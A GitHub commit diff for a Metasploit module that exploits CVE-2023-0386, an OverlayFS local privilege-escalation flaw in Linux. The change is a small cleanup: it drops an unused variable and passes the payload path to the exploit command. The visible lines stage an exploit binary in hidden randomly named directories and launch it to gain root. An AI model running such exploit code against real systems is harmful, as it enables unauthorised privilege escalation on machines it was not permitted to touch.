Skip to content

Commit 6d541b6

Browse files
committed
Remove unnecessary shell_path
1 parent a10459e commit 6d541b6

File tree

1 file changed

+1
-2
lines changed

1 file changed

+1
-2
lines changed

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -108,7 +108,6 @@ def exploit
108108
# Upload exploit executable
109109
exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
110110
exploit_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
111-
shell_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
112111

113112
mkdir(exploit_dir)
114113
register_dir_for_cleanup(exploit_dir)
@@ -127,7 +126,7 @@ def exploit
127126

128127
# Launch exploit
129128
print_status('Launching exploit...')
130-
cmd_string = "#{exploit_path} #{shell_path} #{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
129+
cmd_string = "#{exploit_path} #{payload_path} #{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
131130
vprint_status("Running: #{cmd_string}")
132131
begin
133132
output = cmd_exec(cmd_string, nil, datastore['TIMEOUT'])

0 commit comments

Comments
 (0)